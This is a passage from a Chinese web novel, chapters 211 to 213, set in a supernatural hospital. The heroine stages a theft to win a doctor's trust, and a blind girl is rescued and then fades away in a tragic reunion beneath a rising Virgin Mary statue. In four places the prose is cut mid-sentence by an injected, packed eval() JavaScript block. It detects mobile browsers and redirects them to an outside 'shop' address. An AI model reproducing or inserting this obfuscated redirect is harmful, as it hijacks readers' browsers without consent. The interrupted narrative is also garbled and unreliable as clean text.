白阔悠闲地在沙发里坐下,跷起腿,瞧着规规矩矩站在自己面前的初与序,忽然开口:“初与序,说吧,处心积虑地接近我,有什么目的?” 这话问得直接,甚至有些咄咄逼人。 初与序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034021|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微垂下眼,道:“白医生明察。我初来五楼,人地生疏,规矩也不甚明白。昨日蒙您点拨,心里感念。我能力微末,只希望能跟在您身边做些小事,想多学些规矩,少犯些错,不给您和其他医生添麻烦,若此举唐突,还请您见谅。” 若是随歌等人在场,估计会惊掉下巴,想象不到平日里淡漠寡言的初与序可以说出这一番话。 白阔靠在沙发上:“哦?既然你想学规矩,善医生资历深厚,惜才,对你也重视,你怎么不去他那儿?偏偏来找我?” 这哪叫“重视”啊?这是想要眼珠子。 初与序抬起眼:“白医生,资历深厚固然可敬,但医者仁心更可贵。您明白我的意思。” “你倒和五楼其他孩子不一样。”白阔微微一怔,低低地笑了起来,“初与序,你真的是不小心才来的五楼?” 初与序面色不变:“是非对错,全由医院判定。” 白阔盯着她看了半晌,最终,确实没从这孩子身上找出什么破绽。或许……她真的只是个运气不好被扔上五楼,又格外懂得审时度势的聪明孩子? 他脸上的神色缓和了些,随意地挥了挥手:“行了,既然有心,就去把那些文件整理一下吧,按日期和类别归置好。倘若我发现你有什么目的,单医生怎么处置你,就与我无关了。” 初与序依言走到那张堆满文件的桌旁,开始整理,却开始偷偷将办公室的布局、陈设,尤其是白阔手边那几个上了锁的抽屉尽收眼底。 就在整理到一叠散落的报告时,她注意到其中一个抽屉没有完全关紧,缝隙里透出一抹刺眼的红。 初与序手下动作未停,借着弯腰捡起地上几张散落纸页的时机,手指快速探入抽屉缝隙,轻轻勾住那红色文件夹的一角,快速向外一抽。 文件被拉开一小段距离,露出了里面文件的一角。她快速看过去,右上角用红笔标注着大字: 【待院长审阅,截止时间:今日下午6时前。】 这份文件一定至关重要,如果延误或遗失,就算以白阔的地位,恐怕也难逃干系。她将文件推回原位,用其他文件仔细盖好,转身继续整理旁边的书架,整个过程行云流水。 白阔恰在此时从手机屏幕上抬起头,目光落在初与序清瘦单薄的背影上,不知怎的忽然开口:“说起来,你是怎么被送进来的?家里是什么情况?” 初与序整理书籍的动作顿了一下,平静道:“父亲前几年去世,母亲便去了国外打工,将我寄养在别人家里。那家人讨厌我,不久前把我送到了这里。” 白阔听罢,意外不明地评价了一句: “哦。长这么大,倒也不容易。” 他这话听起来像是感慨,可语气里却没有半分怜悯,反而带着事不关己的淡漠,像是在评价一件与己无关旧闻。 初与序倒没什么意见,这事儿的确和白阔没有任何关系,他也只是副本NPC,他不在意也是好事,省得调查后发现她放火烧家的事…… 211.坏孩子 白阔挥了挥手,打发道:“没什么事了,你可以回去了,想干什么随你。” 初与序俯身点头,道了声谢,规规矩矩地退出了办公室。 门一关上,她脸上伪装的温顺神色顿时褪去,恢复了平日那副没什么表情的模样。她避开走廊上零星的医护人员和病人,一路来到了广播站附近的卫生区。 刚转过拐角,就看见冬逢初正一脸生无可恋地杵着扫把,对着墙角那堆不知积攒了多久的垃圾发呆,那眼神,像是在看什么不共戴天的仇敌。 初与序脚步顿了顿,自然而然地走上前,伸手就打算去拿另一把扫把帮忙。 冬逢初反应极快,按住她的手,将扫把从她手里抽了回来,另一只手轻轻按着她的肩膀,将她带到另一张还算干净的椅子上坐下。 “有我在,还需要你动手吗?”他浅浅地笑道。 初与序也没坚持,顺从地坐下了。她确认没有外人后,压低声音,将自己在白阔办公室里发现的一五一十告诉了冬逢初。 冬逢初一边听着,一边认命地开始挥舞扫把,与垃圾作斗争。 眼下,他们最迫切的任务,就是让初与序尽快获得白阔的信任和好感。可两人讨论了几句,发现这事儿急不来,一时半会还真想不出什么立竿见影的妙计,只好暂时将这个问题搁置。 话题转到了副线任务上。 “真要硬碰硬,那个十字架上的女生实力深不可测,更何况还要加上五楼的医生,以及付遇,我们没有胜算。”冬逢初停下动作,拄着扫帚。 初与序点头:“所以想让她放弃计划,只能让她最在意的人开口。” 两人同时想到了宋归安。 “而且,单良一定要在明天之前解决掉。”冬逢初补充道,“否则我们进行主线任务时,他一定是个巨大的麻烦。” 话是这么说,但如何执行是个问题。 “怎么把宋归安从地下禁闭室带出来?”初与序分析道,“我进入这个副本后,精神力好像和那女生产生了某种联系,你和我待在一起这么久,气息恐怕也与我相似。只要我们靠近地下,她很可能立刻就会感知到,不会给我们救人的时间。昨晚我们跟踪单良,被女孩轻易识破,很有可能也是因为这个。” 冬逢初道:“也就是说,我们得找别人去带宋归安出来,我们在教堂接应。” 那人选呢? 随歌?远水救不了近火,他现在还不知道被困在四楼哪个犄角旮旯里叹气,联络不上,最多只能在最后关头帮忙打掩护,制造混乱方便撤离。 付遇?想都别想,不背后捅刀子就谢天谢地了。 那么,剩下的人选,只有一个了—— 小月。 上午的工作时间在十点结束,离午饭还有一个小时,孩子们在这一小时内可以有休息的时间,全部朝着休息室走去。 初与序和冬逢初没有跟着大部队,谁知道付遇会不会在哪个角落等着肘击他们。两人身形一闪,躲进了走廊尽头一个小杂物间,透过门缝观察外面。 人群之中,小月正左顾右盼,应该是在找他们两人。 就在小月经过杂物间门口时,初与序眼疾手快,猛地伸出手,一把将她拉了进来。 “唔!”小月吓得惊呼出声,嘴巴被一只冰冷的手从后面捂住。 “是我们。”初与序低声道,说完,她自己微微一愣,意识到这动作,和之前在地下暗道里,冬逢初下意识做得一模一样。 小月听出是他们的声音,立刻安静下来,惊魂未定地转身:“是你们啊!吓死我了!我正到处找你们呢,你们在这里干什么?” 冬逢初言简意赅:“避避风头。” 初与序看着小月,道:“小月,我们可能需要你帮个忙。这件事,或许能解决掉五楼一些……问题的根源。” 小月眨了眨眼睛:“什么忙?” 初与序说道:“在大堂的下方,有一条暗道。按下墙上的灯开关,会开启一道密码锁,密码应该是……997255518。今晚九点半。趁着晚间训练开始,大堂没人的时候,你下去。里面会有一个十字架,上面有一位女孩,你不用害怕,她不会注意到你。穿过暗道,会看到一间禁闭室,里面关着一个叫宋归安的女生,她眼睛看不见。” “你只需要告诉她,是一个女生和一个男生让你来救她出去的,她就会相信你。然后,把她带回那个有十字架的小教堂,我们会在那里接应你。” 她顿了顿:“而且,我向你保证,事成之后,你会有一个亲自向单良报仇的机会。” 听到“报仇”这个词,小月的眼睛亮了起来,她几乎没有任何犹豫,用力点了点头:“好!我帮你们!” 冬逢初在一旁补充:“还有,在你行动之前,要想办法让单良知道,宋归安被人带去了教堂,而且情况很不对劲。必须在他赶到教堂之前,就把宋归安安安全全带到我们面前。能做到吗?” 小月用力点了点头:“能!我只能怎么把消息漏给他!” 初与序思考片刻,又开口道:“如果开门的密码不对,就快点走,保命。” 商量完毕,小月离开杂物间,重新回去休息室。 初与序和冬逢初刚想趁着走廊无人,溜出去透口气,脑袋还没探出去,就瞥见白阔修长的身影正巧从医生办公室区晃悠出来,看样子是朝着洗手间的方向去了。 两人立刻停住动作,缩了回去,堪堪避开他的视线。 初与序盯着他的背影看了片刻,忽然拉住冬逢初手腕,低声道:“跟我来。” 不由分说,她将冬逢初带到了医生办公室附近,却停在了监控探头的死角范围内,随后示意冬逢初去看那个存放文件的抽屉。 无需多言,冬逢初立刻会意。他点了点头,溜进了办公室。 趁着白阔离开,他快速拉开抽屉,取出那份【待院长审阅】的文件夹,并且在合上抽屉时,刻意侧过头,让墙角的监控拍摄到他的侧脸。 得手后,他重新退回初与序所在的监控盲区,将文件夹飞快塞进她怀里。初与序将文件往宽大的病号服里一揣,遮得严严实实,就是自己被冰冷的文件夹冻了一下。 初与序知道现在冬逢初需要藏起来,看了他一眼:“晚上教堂见。” 冬逢初轻轻握了一下她的手,随即胳膊一动,故意在监控下做出鬼鬼祟祟藏文件的动作,接着朝着与办公室相反的方向狂奔过去,几个拐弯就不见了踪影。 初与序依旧藏在暗处,去看不远处白阔的办公室。 没过多久,白阔慢悠悠地又晃了回来,浑然不觉地坐回椅子上,看起手机来,丝毫没有去检查抽屉的意思。看那架势,怕是打算等到下午截止时间快到,才会拿出文件。 初与序:“……” 她默默计算了一下时间,从此刻中午,到下午交件截止,少说还要好几个小时。 难道自己要在这破角落里躲六个小时吗?腿会麻的啊…… 她原本盘算着,白阔很快就会发现文件不翼而飞,到时必然鸡飞狗跳,她也可以很快进行下一步。 谁知,人算不如天算。 白大医生愣是在办公室里稳如泰山,直到午饭铃响,都没往那抽屉里瞥上一眼。初与序在角落里硬生生躲了一个多小时,感觉双腿都快不是自己的了。 终于熬到午饭时间,单良出现在办公室门口,来叫白阔一起去食堂维持秩序。 两人并肩往外走,谈话声隐约传来。 白阔随口问起:“地下室那个宋归安,怎么样了?” 单良烦躁道:“还能怎么样?!今晚就是最后期限,她精神力一散,上面那位要是看到她没来,这地方谁都别想好过!我也得玩完!” 他说着,看向白阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067455|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“白阔,我直接说了,不如我们合作?去把初与序绑来,反正她本来也就是半瞎,挖一只眼睛又不会死!” 白阔摇了摇头,面上依旧带着微笑:“善医生,你动过手的孩子,哪个最后活下来的?我看初与序,也逃不过这个后果。其实,她可以留下来的。” 他语气平淡,听不出是惋惜还是单纯陈述事实,总之就是没同意。 单良碰了个钉子,不耐烦地“啧”了一声:“说起来,那小丫头半天没见着人影,还有那个总跟她黏在一起的小子,也不知道去哪儿了!” “估计是去哪里玩来吧。”白阔似乎不在意,随口道。 两人说着,声音渐行渐远。 初与序这才有机会从角落挪出来,扶着墙壁,活动着发麻的双腿。 她心下明了,计划得暂时搁置一下。一直躲着不见人,反而惹人生疑。现在得去单良和白阔面前露个脸,混个脸熟,打消白阔的疑虑。 这么想着,她混入一群走向食堂的孩子队伍里,低着头,走进了食堂。 食堂还是老样子,医生们站成一排盯着孩子。唯一值得庆幸的是,五楼孩子平日里运动量大,饭菜比中层好点,在“能吃”的范围内。 初与序作为新人,座位依旧在付遇旁边。她刚坐下,付遇眼神一严,手就往背后探去,打算掏出电锯。 初与序反应极快,一把按住付遇胳膊,付遇挣扎了半天,还真一时没能挣脱。 她猛地扭头:“初与序!你干什么?!” 初与序沉默了一秒,朝她露出一个甜甜的微笑,付遇被她笑得后背莫名一凉。 紧接着,初与序迅速转过头,看向恰好巡视到附近的白阔,带着“委屈”和礼貌,道: “白医生,付遇她……好像又想违反规定,在食堂使用危险物品了。我有点害怕,劝不住她。” 白阔的目光在初与序那张写满了“乖巧懂事”的脸,和付遇那副阴沉凶狠的模样上来回一扫。 人心嘛,总是容易偏向看起来更无害的那一方。白阔几乎没怎么犹豫,脸色一沉,直接招了招手,立刻就有两名膀大腰圆的医生上前。 付遇见情况不对,大骂道:“你们干什么?!” 话未说完,一名医生动作麻利地掏出针管,对着她的胳膊就扎了下去。强效镇静剂很快发挥作用,付遇挣扎的力道弱了下来,就这么被两人毫不客气地架起来拖了出去。 付遇:“???” 对不住了付遇,接下来你还是在场外休息比较好。 初与序看着付遇被拖走,这才转过身,对着白阔露出笑容:“谢谢你,白医生。” 白阔摆了摆手,示意小事一桩,随即想到了什么,问道:“对了,和你同病房的那个男生呢?怎么没见着他?” 初与序面不改色地瞎扯:“我也不知道。我和他……相处得不太好,就没怎么接近,一上午都没怎么见到他了。” 白阔闻言,微微挑眉:“相处不好?可我记得,你们刚来五楼时,他可是背着你来找我的。看起来,关系不像不好?” 初与序面上依旧平静,她轻轻地叹了口气,无奈道: “白医生,您不知道,那时是情况紧急,我们都不了解彼此,只能暂时做伴。其实……他有点怪,阴晴不定的。上午在您办公室外,我不小心挡了他的路,他就很不高兴,说了些难听的话,我觉得……还是离他远点比较好。” 她顿了顿,又像是忽然想起,补充道,“不过,我上午从您办公室出来之后,在附近倒是看到他了,也不知道他在干什么。” 白阔听着,他确实记得那男生看起来温和,但知人知面不知心,初与序这委屈又识大体的模样,也不算作假。 最终,他还是没再深究,只是淡淡道:“行了,吃饭吧。” 初与序乖巧地应了一声,低下头,拿起勺子。 212.坏孩子 下午的时光,初与序大多待在病房,偶尔才出来晃悠一圈,确保自己在白阔和其他医生的视线范围内,同时还得避开单良。 让她略感意外的是,有几次被单良堵在角落打算带走,白阔竟都“恰好”路过,三言两语将单良打发走,顺带把她拎到相对安全的地方。 初与序面上感激礼貌,心里倒是丝毫没有为自己和冬逢初算计白阔而感到愧疚。 下午四点半,单良又晃悠到了白阔办公室,不过这次倒不是为了初与序。 “白医生,时间差不多了,该去交文件了吧。”单良提醒道。 白阔看了一眼时钟,四点三十,确实该动身了。他从容起身,走到办公桌前,拉开了那个存放重要文件的抽屉。 他修长的手指在文件夹里翻找,过了几秒,手微微一顿。他又仔细地翻找了一遍,面上的从容缓缓褪去,虽然还挂着微笑,但眼神已经透出一丝慌乱。 单良靠在门框上,见状嗤笑一声:“喂,你别告诉我,文件丢了?” 白阔没有回答,只是沉默地又翻找了一遍,甚至连旁边的抽屉都打开了。最终,他直起身,深吸了一口气,那点强装的笑意维持不住了。 他立刻坐回电脑前,调出了办公室周围的监控录像。 画面清晰,正是冬逢初独自一人溜进办公室,拉开抽屉取走了文件,甚至还“贴心”地让监控拍了个正脸。接着他溜出去,似乎把文件往怀里一塞,撒腿就跑,整套动作行云流水。 “操!”白阔低低骂了一声,语气里带着压不住的烦躁:“我就说这一整天怎么都看不到他!” 他立刻叫来几个得力的孩子,吩咐他们去搜寻冬逢初的踪迹。整个五楼几乎被翻了个底朝天,可冬逢初就像人间蒸发了一样,连影子都没找到,那份文件自然也杳无踪迹。 墙上的始终嘀嗒走着,眼看就要指向六点。 单良抱着胳膊,在一旁看得津津有味,幸灾乐祸:“啧啧,白医生,你也要今天。院长把文件交给你的时候,可是千叮万嘱,说这是要交给上头的东西。现在在你手上弄丢了,你猜……院长会怎么对你?” 他摊开手,向门外走去,临走前还轻飘飘道:“你自求多福吧。” 白阔快步走到洗水池边,拧开水龙头,捧起刺骨的凉水泼在脸上。水流顺着他的下颌线滴落,浸湿了白大褂的衣领。他抬起头,镜中的自己脸色惨白,额前湿发贴在皮肤上,眼中慌乱。 他闭上眼,忍不住握紧拳头,狠狠砸了一下大理石台面。医生对付孩子的手段很残忍,院长对付医生,也很残忍,否则他早就辞职跑路了。 就在这时,身后传来一个轻轻的声音:“白医生。” 白阔猛地转身,循声低下头,只见初与序不知何时站在了他身后。她病号服上沾满灰尘,手臂和脸颊上带着新鲜的抓伤,可她脸上还是带着那副温柔的笑。 白阔见到是她,下意识将脸上残留的戾气收敛了几分,道:“怎么了?” 初与序上前一步,一直背在身后的手伸了出来,掌心赫然托着一份带着红色标签的文件。 “您是在找这个吗?”她问道。 文件干干净净,边角整齐,与她此刻浑身带伤的模样形成了鲜明对比。 白阔快速拿过文件,飞快地翻开检查,每一页都完好无损,一页不少。 他猛地抬起头,看向初与序,难以置信道:“你……怎么……” 初与序微微垂下眼睫,道:“我刚刚碰到冬逢初了。他好像在藏着什么东西,我偷偷过去看,发现是一份文件,上面好像还有您的名字……我猜,这可能是他从您这里偷的,对您是很重要的东西吧?我不想让您着急,就……就和他打了一架,把文件抢回来了。” 白阔看着她手臂上的伤,万万没想到,在这个人人自危的地方,这个小姑娘竟然会为了他的一份文件,不惜与同伴反目,甚至弄得自己一身伤。 失而复得的惊喜与后怕中,他对初与序的信任与好感急剧飚升。 他紧紧拿着失而复得的文件,彻底松了口气。看向初与序,脸上终于露出真心的笑容。 他抬起手,自然地摸了摸初与序的头发,温和道: “乖孩子,做得很好。” 初与序仰起脸,眉眼弯弯:“这是我应该的。” 白阔收回手,从白大褂口袋里取出自己的身份牌,塞到初与序手里,道:“我还有要紧事必须去处理,你拿着我的牌子,自己去医务室处理一下伤口,不会有人为难你。” 说着,他拍了拍初与序的肩膀,拿着那份文件,匆匆离开。 直到白阔消失在走廊,初与序才收回笑容。抬起手,用袖子漫不经心地擦去脸上用颜料画出来的伤痕,眼神恢复了冷静与淡漠,将身份牌随手揣进病号服。 这雪中送炭的恩情,在他最恐惧的时候伸出援手,果然非同凡响。 初与序当然没去医务室,随便找了几张创可贴,往自己手臂和脸上一贴,做出已经处理过的样子,便回了505,心安理得地……补了个觉。 晚上九点,除了初与序和不知所踪的冬逢初,五楼其他孩子都准时聚集到了大堂,准备参加训练和可能的新任务。小月低着头,毫不起眼地混在人群中,等待时机。 单良本就没抓到初与序,又见白阔安然无恙,心情差到极点。一见名单上还缺了两人,立刻就要派人去把他们揪出来。 “去把初与序和冬逢初给我……” 他话语未落,一旁的白阔伸手拦住他,心情不错道:“算了,单医生。初与序那孩子昨晚任务完成不错,看她今天也受了伤,少训练一天也没什么,让她好好休息吧。” 见他如此护着初与序,单良被气笑:“那冬逢初呢?差点害死你的可是他,这小子也不用管了?” 白阔依旧笑眯眯,但声音冷了下去:“他?当然要管。不仅要管,我还要亲自管。” 单良见他这副神色,心知他真的要亲自收拾冬逢初,便也无所谓地耸耸肩。 然而,就在这时,一个医生匆匆跑到单良身边,凑到他耳边低语几句。单良脸色骤然一变,下意识朝墙壁某个方向看了一眼,似乎极为在意。但此刻大堂里人多眼杂,他显然不便立刻行动,只能强压下焦躁,对白阔匆匆丢下一句“有点事”,便和那名医生离开大堂。 混在人群中的小月心里暗喜,她的计划已经成功,单良已经收到了“宋归安情况有变”的消息,即将被引入地下。 接下来的流程和昨天一样,被选中进“门”的是两个女生,任务时间比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067456|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨晚更长,显然没有医生愿意在大堂干等一晚上。两位负责带队的医生清点完人数,便领着大部分孩子前往训练区。 就在大堂门即将被锁上的最后一刻,小月看准机会,钻了进去。 门被从外面锁上。空旷的大堂里,只剩她一个人。 她按捺住狂跳的心脏,按照初与序的指示,走到墙壁的灯光开关前,轻轻按下。 等待了几秒,一个输入密码的卡槽升起,她输入“997255518”,屏住呼吸等待着。过了一会,一部分墙壁果然如同初与序描述的那样,缓缓向上抬起,露出了一条向下的台阶。暗道两侧的烛台依次亮起,照亮了前路。 密码竟然是对的。 小月没有犹豫,咬了咬牙,一头扎进暗道中,飞快向下跑去。 她必须争分夺秒,一定要在单良赶到地下教堂前,把宋归安带出来。 终于,眼前豁然开朗,那个小教堂出现在面前。小月第一时间就看到了正前方十字架上那道身影。 女孩被钉在那里,低垂着头,乱发遮面,无声无息,仿佛一尊失去生命的雕像。即使是在沉睡,也透着一股强烈的压迫感。 小月不敢多看,更不敢停留,蹑手蹑脚地从十字架前方穿过,一头钻进了教堂后方的通道。 通道尽头,沉重的铁栅栏门挡住了去路。栏杆里面,一个穿着干净病号服的女孩蜷缩在床上。她听到了脚步声,惊恐地抬起头,异样的眼睛望向门前。 “谁?” 小月赶快压低声音,急促道:“宋归安?是一个女生和一个男生让我来救你的!他们说你见过他们!” 宋归安听到这话,身体明显一震:“是……是他们?他们真的……” “没时间多说了!”小月焦急地打断她,用力推了推铁门,纹丝不动。她左右张望,看见墙角里,散落着几根不知是废弃还是故意放置的粗铁丝。 她快速捡起一根,将铁丝弯曲出一点弧度,小心翼翼地探入锁孔,一点点波动。 只听“咔哒”一声,锁簧弹开。 小月心头一喜,连忙取下铁锁,用力推开铁门,拉住宋归安冰冷的手:“快!我们得赶紧离开这里!” 宋归安虽然目不能视,动作也有些歪斜,但求生的本能让她爆发出力量,紧紧回握住小月的手,在她的牵引下,跌跌撞撞地冲出了这间禁闭室。 越靠近地下教堂,那乒乒乓乓的打斗声就越来越清晰,像是里头正在拆房子。身后远处的暗道入口也传来了杂乱的脚步声,显然是有人追来了。 小月和宋归安皆是一愣,小月立刻明白,是初与序和冬逢初来了,而且已经和医生的人干上了。她心下焦急,拉着宋归安又加快了脚步。宋归安也感觉到了危险,知道自己这方恐怕处于下风,也咬着牙跟上。 两人一冲进教堂,小月就被眼前的景象震住了。 常年积灰的教堂此刻尘土飞扬,几乎像是炸开了一般,一片混乱。十字架上的女孩不知何时已经抬起了头,冷冰冰地望着下方,虽然没有亲自下场,但像是在用眼神控制着下方的怪物,疯狂地围攻着两道快得几乎看不清的身影。 那两道身影,自然是初与序和冬逢初。他们在怪物群中穿梭,动作快如闪电,带起道道残影,险象环生。 213.坏孩子 而保持着人形的单良,正几次三番想冲破阻拦,去通往禁闭室的这条暗道,想阻止宋归安被带出来。可冬逢初却死死守在这里,愣是没让他来。 此刻,眼见小月真的把宋归安带了进来,单良彻底慌了神,他的“复活”计划,眼看就要功亏一篑。 “那……那是什么声音?”宋归安听着这些声音,害怕地缩了缩脖子。 小月咽了咽口水:“是……是在放鞭炮!庆祝你终于离开禁闭室了!对,放鞭炮!” 单良暴怒之下,再也顾不得许多,身体猛地开始膨胀异化,瞬间变成了那细长扭曲,独眼狰狞的医生怪物!他爆发出一声刺耳的嘶鸣,舍弃了冬逢初,直直朝着宋归安和小月扑杀过来,显然是打算毁了她们。 “小心!”初与序喝道,与冬逢初默契地回防,硬生生拦下了单良这一击。 激战瞬间变得更加惨烈,初与序在激烈的交锋中抽空喊道:“小月,保护好宋归安!” 一直被钉在十字架上的女孩,在听到“宋归安”这三个字的瞬间,猛地睁大眼睛,操控怪物的动作也随之一滞:“宋归安?……安安?” 宋归安听到这魂牵梦萦的声音,激动得不管不顾,就要朝着声音的来源,摸索着跑过去:“是我!我在这里!” 小月吓得魂飞魄散,赶紧在后面追:“姑奶奶!你慢一点!看清楚路啊!这里打……放鞭炮放得太激烈了!危险!” 初与序和冬逢初两人手无寸铁,竟真凭着默契的身法,在怪物围攻中,硬生生为宋归安和小月清出了一小片靠近十字架的安全区域。 十字架上的女孩,看着宋归安跌跌撞撞地朝着自己跑来,心中五味杂陈。她本能地不想让宋归安靠近这血腥之地,可见她真的来了,又忍不住心软,控制着几张废弃的木桌唯唯诺诺叠起,为她搭起阶梯。 在小月的搀扶下,宋归安爬上桌子,终于来到了与女孩相同的高度。 她伸出手,小心翼翼地触碰到女孩瘦骨嶙峋的身体,摸过那被铁钉贯穿的手掌,浑身猛地一颤,眼泪瞬间决堤。 她张了张嘴,却发不出任何声音,只有滚烫的泪水不断砸落。 女孩见她发现了自己的伤,猛地别开脸,狠心地对着下方一个医生怪物下令:“快!过来把她带回去!别让她……” 她就要撤去桌子,宋归安却忽然道:“……阿愿。” 她已经几千年没听到别人叫这个名字,猛地打了个哆嗦,仓惶道:“安安,是……是我。” 宋归安缓缓抬起手,冰冷的手指轻轻捧住阿愿的脸颊,然后摸索着,用袖子,一点点地擦拭着她脸上早已干涸发黑的血迹。 阿愿的心怦怦狂跳,恐慌将她淹没。 宋归安道:“……阿愿。你总是……不好好照顾自己……这么久不见……你怎么,把自己搞得这么狼狈……我差点,都快认不出你了……” 阿愿顾不得下方激烈的战况,在她眼中,整个世界都仿佛静止了,只剩下眼前泪流满面的宋归安。 她结结巴巴道:“安安,你……你来干什么?” 她问出了答案,却又无比害怕听到接下来的答案。 宋归安吸了吸鼻子,轻声道:“我……是来……” 来干什么? 来看这满目疮痍? 来听你的忏悔? 来骂你滥杀无辜? 来劝你迷途知返? 又或许,都有。 “我……是来看看阿愿的。”宋归安的眼泪流得更凶:“在来这里之前,我每一天……都在想,如果见到你,我该说些什么。想得最多的……就是让你停下……停下,不要再往前走了……这条路,太黑了。” “可是……可是真的见到你了,我忽然……又不想那么说了。” 她的手指轻轻拂过阿愿干裂的嘴唇。 “这个冬天太冷了,阿愿,你应该……多穿点衣服才对啊……” 台上,阿愿彻底愣住了,浑身控制不住地发抖。 台下,初与序和冬逢初基本算是被怪物按在地上暴揍,可就是不死,生命力顽强得可怕。怪物们也被他们气得半死,但一时半会竟真的拿他们没有办法。 宋归安看不见阿愿的神情,断断续续道:“阿愿……别怕,我其实……一直都知道的……” “你一个人……撑这么久……肯定……累坏了吧……” 她的声音越来越微弱,身体也开始变得轻盈,仿佛失去了重量。她能感受到,自己的精神力正在飞速流逝。 阿愿也能清晰地感知到怀中人的变化,彻底慌了神。她猛地抬起头,死死盯住下方的初与序,操控着所有还能动的怪物,不顾一切地扑向初与序,去拿眼睛。 宋归安察觉到她的动作,张开双臂,紧紧地拥抱住阿愿。 阿愿也想回报她,但贯穿她手掌的铁钉,是医院用无数精神力加固的,将她死死禁锢在十字架上。她越是挣扎,伤口撕裂得越厉害,只能眼睁睁看着宋归安独自完成这个拥抱。 “安安!你别怕!你再撑一下,它们马上就能抓到她了!你一定能活下来!我们一起活着!一起活着!”她忙道。 宋归安浅浅地笑:“……不要难过,阿愿……我想,我大概是要去一个看满鲜花的世界了……” 她的消散已经蔓延到了腰部,抱着阿愿的手臂收得越紧。 阿愿用尽全身的力气,去回应这个拥抱,无济于事。 就在宋归安彻底消散时,阿愿仰起头,发出一声无声的痛吼,那是一种超越了痛苦与执念,庞大到无法形容的精神力,仿佛沉睡的火山,轰然爆发! 轰——!!! 整个地下空间剧烈震动,在她身后,那巨大的十字架后方,坚实的地面猛地裂开!一尊巨大无比的圣母玛利亚神像,破土而出! 祂是那样高大,几乎要顶穿地下室的穹顶,投下的阴影笼罩了整个混乱的战场。神像散发着圣洁光辉,面容悲悯温柔,低垂着眼睛,蕴含着慈爱。 所有人和怪物都在这一刻停下动作,看了过去。 圣母玛利亚缓缓低下头,目光落在十字架两个女孩身上,她的声音空灵,温柔: “我亲爱的孩子,怎么在哭啊?” 接着,那巨大的神像,缓缓俯下了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067457|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她伸出足以包容一切的手臂,代替了阿愿被禁锢的双手,将整个沉重的十字架,连同上面的阿愿和宋归安,轻轻的、珍重的,完全地、拥入了怀中。 光芒将她们的身影温柔地包裹,仿佛隔绝了所有痛苦与纷争。 阿愿还在死死支撑,下方,初与序和冬逢初被怪物狠狠掼在地面,肺腑震荡,吐出大口鲜血。 明明仇敌受创,阿愿应该感到快意才对。可看着那刺目的红,看着越来越透明的宋归安,一滴滚烫的泪,竟然从她眼角滑落。 我亲爱的你,为什么在哭? 这时,一直安静地靠在她怀里的宋归安,忽然微微抬起头,凑近阿愿。 一个吻。 很轻,很轻,如同雪花落在干涸的土地上,带着诀别的温柔,印在她干裂染血的唇上。 阿愿猛地僵住,大脑一片空白,操控怪物攻击的动作都停滞了一下。那短暂到几乎不真实的触感,劈开了她数千年的黑暗与偏执。 还没来得及思考这突如其来的吻意味着什么,唇上那点微凉,消散了。 她怀中的重量彻底消失。 面前,空无一人。 宋归安, 消失了。 她化作无数带着微光的雪花,从拥抱中飘散开来,如同一场雪,纷纷扬扬,升向那不见天日的穹顶,最终融于虚无。 她被埋葬在阴冷的冬天之中,永远等不来春天,鲜花与喧嚣不属于她,她什么也无法留下。 阿愿先是陷入了茫然,像是灵魂被抽空。紧接着,数千年的回忆、相依为命的温暖、失去的恐慌、疯狂的执念,还有那个轻如羽翼的……所有思绪瞬间将她淹没。 她浑浑噩噩,置身于无边无际的混沌之中。那尊悲悯的圣母玛利亚神像,依旧温柔地拥抱着她和冰冷的十字架,无声地垂怜。 死寂。 半晌。 “啊啊啊啊—————!!!” 一声凄厉的惨叫,猛地从阿愿喉咙里发出! 下方那群原本狂暴的怪物们,动作齐齐一顿,眼中混乱的红光渐渐褪去,露出了自身的清明。他们僵在原地,不再攻击。 初与序和冬逢初爬起,紧盯着十字架上的人,警惕她的下一步动作。 阿愿没有再看向任何人。 她低下头,笑了一下。 